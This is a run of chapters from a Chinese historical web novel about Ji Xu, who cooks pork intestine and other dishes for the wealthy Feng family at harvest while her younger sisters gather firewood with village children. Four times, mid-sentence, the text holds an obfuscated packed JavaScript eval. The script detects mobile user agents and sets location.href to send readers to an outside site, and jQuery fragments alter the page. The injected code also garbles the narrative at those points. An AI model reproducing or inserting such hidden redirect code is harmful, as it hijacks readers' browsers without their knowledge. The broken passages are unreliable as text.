穗儿的大母晒的豆豉鲜辣无比，有些小孩还会去偷她晒的豆豉吃，从前穗儿同她玩，便会带豆豉给她吃，季珠也想分些自己觉着好吃的东西给她。 陈穗儿犹豫一会，接了过来，咬上小口， “真好吃。” “是我阿姊做的，红糖的还要更好吃。” 陈穗儿羡慕极了，“你阿姊真厉害，我都听我大母说，你家白玉蒸饼能卖一钱一个。” 季珠也点头，“我也觉得阿姊厉害，她还会做好多好吃的。” 说话间，陈穗儿瞪圆了眼，对着她一侧的头绳道：“你这红头绳真好看，我只见冯富贞绑过这样的颜色呢。” “是我阿姊在外面得来的。”季珠道，说起阿姊，语气满是崇拜。 “要是我也有阿姊就好了。”陈穗儿艳羡道。 “你有阿兄呀。”季珠稚声稚气。 对了，阿兄。 陈穗儿扭头，发现陈狗儿他们竟还跟在后头，便朝陈狗儿招手， “兄，来。” 陈狗儿噌的跑前来，陈穗儿又把手中的蒸饼分一半给他， “小珠给我半块蒸饼，也与你尝尝。” 陈狗儿不大好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300276|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思的接过，嘟囔了一句，“谢谢小珠了。” 便跑回后头，和小郎们一处去了。 “好狗儿，饶我一点。”崔广耀同他勾肩搭背。 “也分我一块，我是骠骑大将军，你得听我的。”王利也馋的很，这白玉蒸饼究竟是何滋味？ 陈狗儿只好每人掰了一指头大小给他们。 两人尝过眼睛都一亮，愈发要跟去牛脾山了，都挥舞着木棍说： “去牛脾山打匈奴！” 其实在馋季珠的蒸饼。 到了牛脾山，季珠在哪里拾松球，王利和崔广耀就在哪附近叫嚷着冲锋陷阵，朝树木野草砍打着。 陈穗儿在帮季珠捡松球，嫌他们吵嚷，就驱赶道： “要么就帮小珠捡松球！要么就去别处玩！” 王利早就想捡了，否则人季珠都不搭理他们，闻言立马吆喝一句：“部下们！捡松球！” 三个小郎也加入捡松球行列，谁捡到那形状硕大的，还会举起来， “看！我的宝塔松球！” 季珠的小筐箩很快装满。 他们都是随大人进山拾过柴禾的，松球没处装了，又各自捡些干枝桠，堆在一处。 王利忍不住问：“小珠，我们都帮你拾松球了，可有蒸饼吃？” “好啊，原是为了吃蒸饼！”陈穗儿朝他抹食指羞羞脸。 王利有些涨红脸，“谁说的！有蒸饼吃当然更好了！” 季珠想了想，家里还有两个红糖蒸饼，她再吃一个就能饱了，他们帮忙拾柴，拿出一个分与他们也行，便点点头说：“可以分你们。” 王利他们一听，愈加卖力拾柴，各自都用藤蔓捆好，背着下山去了。 一行孩童背柴走在土埂上，田间劳作的邻居瞧见，向一旁道： “王麻子，你瞧，那不是你家王利？去拾柴了呢。” 王麻子家里田地少，他们夫妻俩动作虽不算麻利，但两天也能把稻子刈完，便留王利在家看着他幼妹王绵，王绵若是睡着，王利便会锁了门出去玩。 没成想还能主动去拾柴，王麻子有炫耀之意，“我王家儿郎，手脚最是勤快。” 有人便在腹诽，那你从前还偷田氏的胡瓜？ 王利自是不知他阿翁王麻子看见了他，他们一行人浩浩荡荡跟随季珠回家，将柴禾卸在屋前，摆了一排。 季珠背着筐箩向灶屋去，把灶屋木门一推，见状顿时捏紧拳头，发出喝声： “季虎孩！” 只见身穿短褐短裤，衣服上不知在哪沾了些灰土，赤着脚的季虎孩趴在陶灶前。 手里拿着一个本该在陶釜里的红糖蒸饼，啃的只剩半个，腮帮子塞满了，两边鼓起，压根儿不怕噎着。 17. 第 17 章 “我要告诉我二姊，你到我家来偷东西吃！” 想想伯母过去只会拿些好的香的，像柰果、油渣、粔籹，拿这些来馋她们姊妹仨，哪里给过她们吃的。 季珠生气，便搬出季凤，季凤骂人是顶厉害的。 王利他们闻言冲进来，一看，季虎孩在啃本该分给他们的蒸饼，那可是红糖的！ 王利立时从他手里抢回半个， “你这小鬾鬼，跑来别人家里偷吃！” “我要告我阿母，你们欺负我！”甜软的蒸饼被抢走，季虎孩虎声虎气嚷道。 本固里的都知道大房的金氏夫妻疼他这金疙瘩，金氏又是那嘴上不饶人的，谁吓着骂着她家金疙瘩，她能追到人家屋前去骂三天三夜。 不过此时，他们占理，哪里会怕，王利说： “你去告！明儿我就告诉全乡的小郎们，你偷东西！看谁还与你顽！” 陈狗儿和崔广耀也附和，“对，你去告，我们不怕！” 季虎孩哪里敢去告，金氏不喜他在二房露出讨吃相，因此一家丁口去地里收稻子，便把季虎孩锁在屋子里，哪也不许去。 季虎孩记挂着前两天闻见的肉香，昨儿夜里又听金氏和季富在议论什么白玉蒸饼。 他今早醒了，便把胡床叠在米瓮上，从窗子爬出来，溜来二房，这灶屋没挂锁，掩着的门一推即开了，里头一个人也无，他浑然将这当自家，揭开陶釜盖察看。 见里面竟有软蓬蓬、红彤彤的蒸饼，便拿起一只啃食，满嘴香甜时，季珠回来了。 如今，他只能眼巴巴看着，王利他将那半个分成四份，他和崔广耀、陈狗儿、陈穗儿一人一份。 “他们都可以吃！”他不满指道。 “我也要吃！我是季家的男丁，是根，是香……是香火！” 这些话是他在家里听的多，学来的。 没人理他，什么根不根，蒸饼可真好吃呐。 季胥拿起陶釜里还剩的一个完整的红糖蒸饼，再分出半块，去给王利他们分。 陈穗儿摆手不要，怕她自己朝食不够吃了。 其他人虽然馋，也都学样说：“你自己吃罢。” “我再说一遍！我可是季家的根！”季虎孩重新嚷嚷着吸引注意力。 “根根根的，你是草啊。” 只能学样拒绝半块蒸饼的王利，更是咽口水，瞪季虎孩一眼，都怪这小鬾鬼偷吃掉半个，因而忿忿道， “我们是靠拾柴换蒸饼，你做什么了？只会偷吃！真不害臊。” “不害臊，羞羞脸！”崔广耀做出食指抹脸的动作。 “哼，不就是柴禾！” 季虎孩跑回隔壁院子，哼哧哼哧拖来一捆柴，擦了擦汗， “可以了罢？” “你拿的是家里大人伐好的柴，不算！”王利说。 “可是我阿母要回来了，要是她发现我偷跑出来会揪我的肉，我明日再和你们去拾柴，行不行？”季虎孩望了望地下的日头，当屋檐的落影同屋檐对齐时，他阿母便要回家做一餐额外的中食了，他须得赶紧从窗户爬回去。 “小珠，你说，要不要他一道？”王利问季珠，虽然他不想要这小儿鬼加入。 季珠觉得不太对劲，她也没说明日还要他们一起去拾柴呀，不过她脑瓜子在认真思考，虽说有更多人帮忙，能拾到更多柴，这样她们过冬就不会冷了。 但季虎孩是大房的金疙瘩，他若是帮二房拾柴，磕了碰了，伯母定要来骂，说她用吃食将季虎孩哄骗了去，很是麻烦。 从前就有过类似的事，季虎孩发烧惊厥，伯母非说是因她阿母骂仗，嗓门儿太大，给他吓的被鬾鬼魇着了，这才会浑身发热，还要她阿母烧符水给季虎孩喝，说这样才能解除他身上的鬾病，那次她阿母被金氏纠缠不清，实在没法，便烧了道符水才算了事。 想到这，季珠板了小脸，摇摇头，“不用了，你别再溜来我家就行。” “哼！我根本都不想帮你拾柴！”闻言，季虎孩嚷道，气呼呼走了，踩着柴草从窗子爬回东屋。 季胥是坐驴车回来的，她在田啬夫那结了二百二十钱，另又在田间叫卖挣了四十钱，买了个厚实、肚深的水瓮回来，费了八十钱，手头余了一百八十钱，打算留作口算钱攒起来，毕竟明后几日可没有今日这样的大单子，还是要为赋税做打算的。 水瓮是陶烧的，壁又厚，极其笨重，靠她这双胳膊搬运回来，怕是不能，器皿肆的掌柜因她这两天接连在肆里买鬲、甑、水瓮之类的器皿，便让自家小郎驱了辆驴车将她这水瓮送来家。 驴车停在屋前，她跳下来，拣了后头车上筐篓柳篮这类物件，见屋子前多了些柴禾。 赶走了季虎孩，与伙伴散了的季珠，小小的身板，正吭哧吭哧往屋檐下搬运柴禾。 虽然每人只拣了小捆，但加起来也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300277|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少呢，足够烧两天的，心里正开心，听见驴车的轮毂声，回头满是惊喜， “阿姊你回来了！” “好大一口水瓮，比原先家里有的还大呢。” 家里原有口老水瓮，那时她们阿母还在，早起发现里头淹死只老鼠，便挪出来清洗，年岁久的老家伙，动一动就裂缝了，后来便没钱置办，一直用木桶凑合着。 只见店肆的小郎正从驴车上搬水瓮下来，季珠见家里又添了个大家伙，跑去比量了，都快有她高了，拍手称好。 要知道，家里没有大水瓮，木桶用久了又渗水，经常把泥地弄的湿答答，一不留神要打滑，有时临时要用水，就只能去田间的那口井里提回来，一连好几趟才够使，有水瓮储水就便宜多了，闲时储满，随时想用都行。 “咦，还有盖子，这下可不会掉老鼠进去了。” 只见是个木盖，中间镶着把手，盖在水瓮上正好。 季胥这厢正给小郎搭手，一齐搬了水瓮至灶屋，放在了西北墙角，一面问道：“小珠去拾柴禾了？” 季珠点头，“去捡松球了，柴禾是穗儿他们帮忙拾的，我分给他们蒸饼吃。” “那小珠自己够吃吗？” “够的。”季珠说。 季胥顺手摸摸她脑袋，感慨着，“好乖。” 想着明天要多给她留些蒸饼，她想分给伙伴的同时，也不影响她自己填饱肚子。 大水瓮卸完，小郎驾着驴车离开了，季珠还在后头稀罕的张望那车，她还没坐过驴车呢，就更别提牛车了，这可是罕物，看一看也是新奇的。 “大日头下瞧什么呢？那是谁家驴车？” 一回头，只见是季凤，满脸喜滋滋的，季珠不及搭话，便听她扬起嗓门向屋内喊： “阿姊，你瞧我带谁来了？” 待季胥自灶屋出来，认出那是冯家人，徐媪并其孙女冯富贞，她有这份记忆。 另还有个脸生的年轻妇人，生的圆盘脸，藕色细布襦衣，因这两天农忙，底下穿的绣花青布带裆大袴，随着抬手捋发，腕上一只窄薄的金镯子显出来。 只见她站在徐媪一旁，暗暗拿眼乜斜她们住的这间草屋，将嘴一撇，毫不掩饰的嫌弃。 季胥的记忆里没有这号人，她猜测应该是原身不在的三年，冯家老二娶的新妇。 她舀水洗了洗手，一边笑迎， “徐大母，您怎么来了？” 18. 第 18 章 徐媪是冯大的阿母，按辈分季胥应该唤一声大母。 只见她容长脸，梳的扁髻，半旧的细布襦裙，腰间系一块青布蔽膝，很利索的模样。 然而伸了手，露出自己右手腕来，那腕子缠着布，隐隐散着药酒的呛鼻味。 “昨日腕子扭伤了，庖厨上也不爽利了，可巧我家兴霸和富贞都说你做的饭食味道好， 想说今日和明日农忙，请你到家来，与我们做两日的中食。” 一旁硬要跟来的鲍氏仍在插话劝她： “母，她一个年轻女娘家，能做出什么好饭食？ 倒不如请我那四兄来，他从前可是在县里的大食肆做过好些年的膳夫，饭食做的远近闻名，盛昌里各家祭祀酒席，没有不请他的。” 冯富贞撅嘴不满，心说，鲍家的兄弟，仗着家是盛昌里的，都要看低冯家一眼，换成鲍家兄弟来，且不说手艺如何，花了钱还得平白受讽刺。 冯家在本固里虽是富户，放到整个乡，尤其是和富裕的盛昌里比较，那就是小巫见大巫了。 再个，冯家的祖辈曾是盛昌里一个甘姓富户的家奴，因在争抢田地这项上立了头功，求主家恩典，才被赏赐田地、放良，逐渐攒下如今的山田基业，吃穿不愁。 但每逢乡里盛大祭祀，各里聚在一处，她冯富贞都免不了被盛昌里的孩童们嘲笑为“冯姓家奴”。 照说盛昌里的女娘，是不愿嫁来冯家的，只是鲍家虽然有些薄产，但家主额外娶了两房偏妻，子女众多，她二叔母鲍氏便是偏妻之女，她阿翁贪图冯家的彩礼，这才将她下嫁至本固里的冯家。 冯富贞可没忘记，年初她二叔成婚时，家里宰豕，大摆宴席，款待鲍家送亲的兄弟。 他们炙肉饮酒，高歌不已，临走肚皮滚圆了，却要讽刺他们祖上为人家奴的，做不出像样的吃食，为此她三叔险些和他们吵起来。 徐媪如何不知此间隐情，大儿媳早年病故，留下冯富贞一对姊弟；二儿媳五谷不分，全然不懂庖厨，她在旁边手把手教她，都能将饭食烹的齁咸，昨日的中食和晡食就是如此；三儿子刚成年，尚未娶妻。 算起来，冯家只她会做饭食，只是现手扭伤了，偏逢农忙，正是家里男丁下地出力气的时候，不能在饭食上马虎，再由鲍氏将饭食张罗的齁咸，难以下咽，她这才来请季胥。 面对鲍氏的话，她只当耳旁风，继续言说着： “你放心，大母不会让你白忙活，每日做一餐，得二十个子的佣钱。” 鲍氏生出不满，这钱合该给她同胞的四兄挣去才是， “家里雇来那两个刈稻的佣工，比做饭食累得多了，每日都才七钱，她一个年轻女娘怎么能得近三倍的价……” “我知她手艺是极好的。”徐媪拉了她的手道。 她尝过孙女塞给她的一块椒盐肋条，那滋味，她如何是做不出来，因此花这钱是买她的手艺。 季凤就那鲍氏，“我阿姊的手艺，十里八乡没谁比得了，做的蒸饼能卖两钱一个。” 季胥忖度着，今日因她一大早给田啬夫送蒸饼，回来的早，这会子瞧天色，也就隅中时分，自是来得及去冯家做一餐中食。 但明日，可没有田啬夫的大单子，她照旧要在田里叫卖，回来定是下半晌了，这卖蒸饼才是进钱的大头，耽误不得，因道： “徐大母这样抬举我，叫我怎么谢，今日自是不必说的，我过会儿就随您家去做中食，只是明日，待我卖了蒸饼回来，恐怕都午错了，农忙不比平常，我得上田里叫卖去，方能拣几个钱，攒了来缴赋税。” 徐媪见她话说的恳切，也不好强求，鲍氏自是喜了，犹在劝说明日找她四兄来。 听的徐媪灰着脸，一味不语。 季胥见状，便道：“徐大母，您若不嫌弃，明日或可买些我做的蒸饼，一样能做中食垫肚子，我这一去别处田里叫卖，他们正是买来做中食，既省了家里人做饭食的工夫，又填饱了肚子，两处倒便宜。” “好好，就依你说的，明日二凤来牧猪，正好给我家带三十个蒸饼来。” 徐媪实在不愿见鲍家人，因而同意道，她早听孙子说过那蒸饼如何的好吃。 “好，那今日的中食，食材上可需要我去采买？” 鲍氏早已黑了脸，生怕她会昧钱，抢了话道： “要不了你做这些，今儿一大早李屠夫来家中宰豕去卖，家里头有再新鲜不过的豕肉，像大薯、韭、薤、葱，茄、瓠这样的菜蔬，地里种着都有，一茬一茬儿的吃不完，调料更是不会缺的。” “也好。”这样于季胥反而省事。 冯富贞道：“我幼弟说，要你做些从前的红煨肉和椒盐肋条，这些食材家里都留出来了。” “他们孩子尽爱吃这些，我倒说，得做道酸酸辣辣的菜来，吃着下饭，家里大人好做活儿。”徐媪笑道。 “可有豕大肠？”季胥想了想，问道。 “豕大肠？”鲍氏满脸鄙夷，心说这胥女这样的破落户，果真上不得台面，“谁家好人会吃这腥臭贱物？” 徐媪虽说也觉得大肠是污秽贱物，但碍于是她主动来请季胥去家中做饭食，这会儿无奈硬着头皮言道： “有倒是有，李屠夫未将那大肠取走，原是打算拿来沤肥的，这样，咱们边走边说，也到做中食的点了。” 季胥交代过妹妹，便去至冯大家，季凤因要回去后山牧猪，也一并去了，留季珠看家。 那是座青砖乌瓦，带有庭院，一堂两内的两进房屋，连灶屋都宽大明亮，里头也用的船头形的陶灶，不过灶面刻有二龙交尾的浮雕，比自家的要精致得多，再一看，灶眼上的釜、鬲都是铁制的。 季胥不禁心喜，铁釜导热快，火候大，方便爆炒，比陶制的要好。 徐媪领她进来的，先后指着半空一根横木，并底下两张垒叠的矮案说： “肉、肋、肠，都挂在那横木的铁钩上了，还有地里摘的新鲜菜蔬，都在这矮案上了。” 指了指灶上一排陶罐子，“这些是调料。” 季胥看了看，调料并不丰盛，只有油盐酱豉姜，没有能做椒盐粉的怀香花椒，还有做大肠需要的蒜也缺少。 这些家里倒有余的，她想着从家里拿些来用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300278|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，做一餐，所需用量并不多，便未多言。 徐媪交代完去了地里，用左手帮着翻拣些掼桶里的杂草、稗子，或是看地下哪里脱落些稻粒，拣回掼桶里。 鲍氏见她来，立马问道：“母，怎的不在家看着那胥女？没的叫她顺走咱家灶屋的东西。” 像那饴饧啊、白蜜啊，都是十分精贵的，放一个外人进去如何信得过。 “放心，她和她妹妹凤女都不是那偷鸡摸狗的人， 再说，人家在庖厨上是门手艺，我杵前去，传出去我成什么人了？连庖厨之人的手艺也觊觎？没的坏了三郎他读书人的清誉。” 徐媪还叮嘱他们，“待会儿你们担稻谷回院子，也别往灶屋去凑。” “知道了，母。”冯大应答道。 冯二则支吾了一声。 鲍氏将嘴一撇，心道她才不愿近庖厨，不然也不会把饭食张罗的齁咸， 能者多劳，她又为人新妇，若是会庖厨之道，如今不仅要大日头下刈稻，还得抽着空儿回去给一大家子做炊，这累人的活计她可不干，情愿做个茫然不懂庖厨的，让冯家花些钱去请她四兄来，没承想被胥女截了胡。 冯三则是皱了皱眉，他是冯家，乃至本固里，唯一个在乡里经舍读书的，经师给他取名为冯恽。 每逢农忙，经舍会放假，冯恽有时便也在家中帮着做活。 他连头也未抬，道：“君子远庖厨，我自是不会近前的。” 至于冯富贞和冯兴霸，自是听徐媪的话。 然而他们不近前，味道能传出来，一股子又臭又腥的味，没把人熏晕去。 就说那临近的崔家田里，崔思捏着鼻子，连稻也不割了，直起身子问：“富贞，你家怎的这么臭？” 同样相邻的季元嗅到，也嫌恶摇头，憋着气往掼桶摔打稻粒， “做甚啊，臭死人了，冯富贞，你家中食做什么呢？臭烘烘的。” 冯富贞不禁发臊，她自知这是豕大肠的气味，但这会子摇头装作不知，不想被她们知晓冯家这样的富户，竟然吃这等腥臭贱物。 气味的确是冯家灶屋，正在被季胥处理的大肠发出来的。 要抓三道洗三道，抓三道是分别用盐、酒、面粉抓三道，再冲洗三道；将大肠翻面，重复步骤，最后撕去多余的淋巴和油膜，才算干净。 鲍氏往院里担稻谷去晒，飞一般跑出来，跟后头有鬼撵她似的，撑了树呱呱干呕， “我的姑舅大母，这哪是庖厨，分明在掏茅厕啊……” 一回田里就同冯家人抱怨，“母实在不该请胥女来家庖厨，你们闻闻，这味道，能吃得下？ 我反正情愿吃点稻饭果腹，就算饿昏在这田里，也不要吃一口她做的臭食。” 说着又呱呱干呕起来。 徐媪面皮也有些挂不住，但嘴上缝的紧。 鲍氏缓完了，仍是一阵叙聒， “明日还有一天农忙，我看哪，还是将我那做膳夫的四兄请来……” 她新婚夫婿冯二不禁帮腔，“阿母，我看也……” “做你的活儿。”徐媪道。 19. 第 19 章 大肠处理干净，切成片，将青红椒斜斜切好，季胥另剥了些从家里拿来的蒜。 她还发现，冯家灶屋墙根儿有一坛子味道极其酸爽的菹菜，一揭盖，那酸味便促使人分泌唾液。 吴楚这带，每逢冬月都流行腌菹菜，像蔓菁、葵菜、芥菜这些，都能拿来菹，日头好时晒蔫了，撸了绿叶留下茎杆，拌了盐盛在坛内，不忘拿石头镇严实了，半个月便发酸发咸。 冯家这样有条件的，还会拿糯米熬捣成沫子，研些胡麻汁进去，增添风味。 她用干燥筷子捞出两块，只见呈着一股好看的金钗色，不输乡市小郎卖的。 同样切了薄片来。 铁釜油热，将蒜和椒一加，酥出香味，再将大肠倒进热油里爆炒，加些菹菜，最后调了味。 过程里，锅气呛出股酸辣鲜香的味道，被风一吹，飘到屋外，极其诱人。 稻田里的男女们，都伸长脖子去嗅，满脸陶醉。 “好香……” “又香成这样？真是怪事。” 众人面朝黄土背朝天忙碌半天了，哪能不饿，被这香味一激，各人的肚子都在唱空城计。 “富贞，你家到底在做什么？真香。” 崔思浑然忘记刚才有多臭，多令人嫌弃，这会儿恨不能多闻几下。 冯富贞这才愿意张口出实话：“应该是胥女在做豕大肠。” 季元嘲讽道： “你家竟请胥女去庖厨？胥女她脑袋都笨笨的，才将这等污秽贱物做来吃。” 她的家底虽说在本固里只能排中等，但她模样出挑，又伶俐，眼看就要相人家，阿翁还在县里将车，不定能将她嫁到县城去，就连冯家，她也有些不放在眼里，家奴后人罢了。 因此嘀咕着，“怪不得盛昌里的都说冯家作为咱们这的富户，却上不得台面……” 鲍氏一口咬定，“我是绝不吃那大肠的，想想就难以下咽。” 冯兴霸眼里是没有污秽贱物之说的，他只知，闻着喷香，这会儿恨不能飞身回家，才不留在地里捕蚂蚱。 他追着徐媪不知问过多少遭，“大母，何时回家？我饿了。” 徐媪看眼天，已是日中时分，便做主说：“日头毒起来了，先回家用中食，歇过晌再来忙。” 冯家诸人听了，便收拾筐笼、铁镰、扁担之类的，一径家去了。 冯家灶屋，两层叠起的木案上头，摆着做好的菜馔，用陶盘盛着，有色如琥珀的红煨肉、金黄酥香的椒盐肋条、豉香与肉香结合的青椒小炒肉，并一盘菹菜炒大肠，还有刚从鬲内端出来的，一钵肉骨藕羹。 另有两盘清炒的时蔬，青翠欲滴，鲜嫩无比。 可谓荤素相宜，羹菜兼备。 日中阵阵热气，冯家就在院内的小凉亭里用中食，那处本就有蒲席垫地，又有树荫。 冯大冯二，还有冯恽，从堂内各搬来一条食案往凉亭摆放。 冯家也没有那么多规矩，并不学盛昌里的殷实富户们，分餐分桌而食。 就把食案首尾相接，一大家子按辈分从首席到末尾，席上跪坐，围案而食。 冯富贞他们小辈的，便进来灶屋端菜，嗅到那香味，连舀水洗手，都比平日潦草。 徐媪也进来了，见季胥俱将炊具清洗停妥，恢复原样，除了多出来的那些冒热气的菜，竟叫人看不出哪里动过。 她心里不禁熨贴，将早就备好的二十个钱，给到季胥，还客气道： “胥女也留下来一道用中食。” 季胥知这是客套，毕竟冯家请的两个刈稻的佣工，也都是各归各家去用饭的， “徐大母高情，只是家中妹妹还等我回去做饭食，不好多留了。” 徐媪心道这胥女离家三年，人情倒愈发通达，她也就不再虚留对方，将家里余下来的一块新鲜瘦肉提给她， “我见你返回家中拿了个竹筒过来，怕是我家调料不足，教你破费了，这肉你拿着。” 徐媪并不是那等占便宜的，她好名声。 鲍氏听见，凑了前来，“母，还是将那副豕大肠给胥女罢，她手艺好，给她才不算埋没呢。” 李屠夫夜半来家中宰了两头豕，留出两副大肠，被季胥烹了一副，那横木上还挂着一副呢。 在她的认知里，那大肠，就不可能好吃。 李屠夫拉了去乡市卖，那卖的价也极其贱，不超过五个子，寻常人家情愿添几个钱，吃正儿八经的肉，会买去的，多是做给家里仆奴吃，又或是哪里的厨啬夫会做来给贱役们食用。 比起这样的贱物，瘦肉到底能留着自家做羹，鲍氏为了留下那块瘦肉，甚至违心夸了夸季胥。 说罢，就捏着鼻子，将穿着草绳的大肠提起来，生怕季胥要拿瘦肉，先一步将大肠递给她。 季胥谢过，带笑接了下来，往家中去了。 一路上，都被人捂着鼻子躲避，季元一瞧更是乐了，不怕季胥听见，在院里就朝灶屋庖厨的金氏说嘴： “胥女在冯家得了一副豕肠，当宝贝提回家呢。” 近日农忙吃力气，金氏可是买了两斤肉来烹的，比豕肠金贵。 她使起两把铁刀，剁肉糜的声音响到外头去。 过路的乡人就知道了，“金大妇，你家羹肉呐？伙食真好……” 季元很是受用，还把烧火的季止撵了出来，自己留在灶下添柴。 平时她仗着年长，又有金氏偏心，这些零碎活儿她是不做的。 话说冯家， 冯兴霸是尝过季胥的手艺的，心心念念着，他先吃的红煨肉，入口即化，极满足。 不忘拿着椒盐肋条来啃，骨头都要细细溜一遍，嗦干净才放在一边。 冯二见状摇头，“兴霸怎么连肋都吃的这样仔细，日后叫谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301486|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见，又该觉得咱冯家寒酸。” 冯兴霸忙着嗦肋条，连话都顾不上说了，还是徐媪护犊子，见孙儿用的香，她心眼儿里爱极了，哪里会怪， “不铺张浪费是好事，今儿又是自家人跟前，由着他敞开吃，大家也都吃。” 冯二仍是咂嘴摇头，觉得做大母的太惯孩子。 等他自己夹了一块来吃，啧，那外酥里嫩，一口接一口，不觉就把骨头嘬在了嘴里，抿那滋味。 反应过来忙的吐出来。 幸好，也没谁笑话他，都忙着吃呢。 那泽亮软烂的红煨肉，浸着肉汁，压碎在米饭里，香掉舌头。 冯二猛扒饭，一边心想，家里不缺肉吃，何至于馋成这样？再一看，一碗米饭便见了底。 立马起身去添一碗，还不忘恭敬的拿上徐媪的碗，帮她添饭。 冯大吃着这肉极软烂，做主将那盘红煨肉换在牙口不好的徐媪面前，偏偏徐媪又把它放到孙子女面前，由着他们去吃。 “大母，这个大肠滋味也好极。” 豕大肠先时无人动筷，乃是冯兴霸吃过别的，迫不及待夹了一筷大肠来尝，睁圆了眼，遂和徐媪说。 要知道，冯家属冯兴霸养的嘴巴最刁。 闻言，他阿翁冯大也夹来尝了，立马点头说好，鲜辣酸脆，尤其下饭，配着爽口的菹菜，还十分解腻。 紧接是冯富贞、徐媪、冯二，尝过都连连下筷，口中称好。 鲍氏原是打定主意情愿吃些稻饭果腹的，也好再说道说道，明日换成她四兄来庖厨。 结果他们一个赛一个吃的香，连她夫婿，冯二都忘了应诺她的，要贬斥季胥的手艺，在她旁边吃的忘乎所以，连她一个劲用胳膊杵他也没反应，甚至还朝她碗里夹了块豕大肠， “你吃，若是不好吃，我把头给你当睡枕。” 鲍氏面犯嫌恶，可已经在碗中的，她也不好夹回去，忍着恶心小口吃进去。 那滋味一进嘴，眼睛猛一睁，悔啊，悔将那副大肠给了胥女！ 那鲜辣酸香的菹菜炒大肠，极其受欢迎，率先被光盘，最后那点汤汁，还是被鲍氏浇进碗里拌饭了，连一块蒜，一片菹菜都没放过，盘子比脸还干干净净。 冯富贞也想用汤汁浇饭的，被鲍氏抢了先，不禁撇嘴，“叔母不是说绝不吃一口的吗？” 鲍氏吃的又辣又香，正畅快呢，闻言巾子擦了擦鼻头辣出的汗，也不臊，有她自己的说辞， “地里做了半天活儿，把我累坏了，正是要吃酸辣的下饭菜。” 相较下，她对面的冯恽吃相斯文，叫人看不出饭食在他眼里是何评价，别说大肠，连那盘肋他从头到尾都没动过筷，始终视其为贱物。 不吃好，她多吃点。 鲍氏想着，饱食后还和冯二嘀咕着，“这肠贱，滋味倒是极好，胥女当真有点庖厨之道……” 20. 第 20 章 “鲍娘，中食烹的豕大肠？那等污秽贱物，吃了不嫌恶心？” 冯家人歇晌后回田里劳作，有那妇人打趣鲍氏。 本固里远不如盛昌里富裕，长年累月，他们对盛昌里的编户细民不免心怀艳羡。 鲍氏乃是盛昌里下嫁来本固里的女娘，穿的是细布料子，戴的是金银，出行坐的是牛车，爱拿鼻孔看人。 如今冯家吃豕肠传了开，有那攀比的，便拿话来臊一臊鲍氏。 鲍氏剔着牙花儿来下田，笑道： “我自是吃了不少，现下还想那好滋味呢，你们就是想吃，也得花的起二十个钱。” “二十个钱？豕肠价贱的很，哪里要的了二十个钱？” “请胥女庖厨呐，做一餐，二十个钱，可出的起？” 别说，冯家就缺一张鲍氏这样的嘴，他们虽为富户，但因祖上奴籍微贱，在乡里地位并不高，不少人都敢偷盗冯家后山头的果儿。 鲍氏是盛昌里的，倒教人不敢低看，尤其话里若有似无的显弄，令田里那些想臊她的人，反而酸倒了牙。 二十个钱，能买一斤多的脂，本固里除了冯家，怕是没谁会去这样破费，一时都闭口不言，自顾的刈稻了。 这日， 王麻子家的稻子都刈完了，日出时分，稻谷铺晒在院里。 他家稻谷收成少，也不用去谷场晒，自家小院就能晒的下。 只见从麻袋倒了出来，王麻子持一木耙，推着冒尖的稻谷，就见季胥提着两篮子蒸饼从屋前路过。 如今农忙陆续结束，乡市的人渐多了起来，家里红糖用完了，季胥这两日，每日仍做六十个白玉蒸饼去卖。 “又是庖厨，又是卖蒸饼，她胥女捡有这样一门手艺，真是撞了大运。” 窗根下的王麻子歪着脑袋，同他妻子曹氏叽咕道。 曹氏在西屋里织布，织机的声音和她温柔的话音一并传出来， “什么大运，都是吃苦的孩子，为奴为婢三年才回家来， 田氏还因寻她在沔水翻了漕船，连下葬在坟山都只有一身衣裳，这样的运，你可要？” 换做自己那三岁的小女绵绵被贼人略卖为奴……王麻子想也不敢想，他继续推平着稻子， “还是一家子平安为好。” 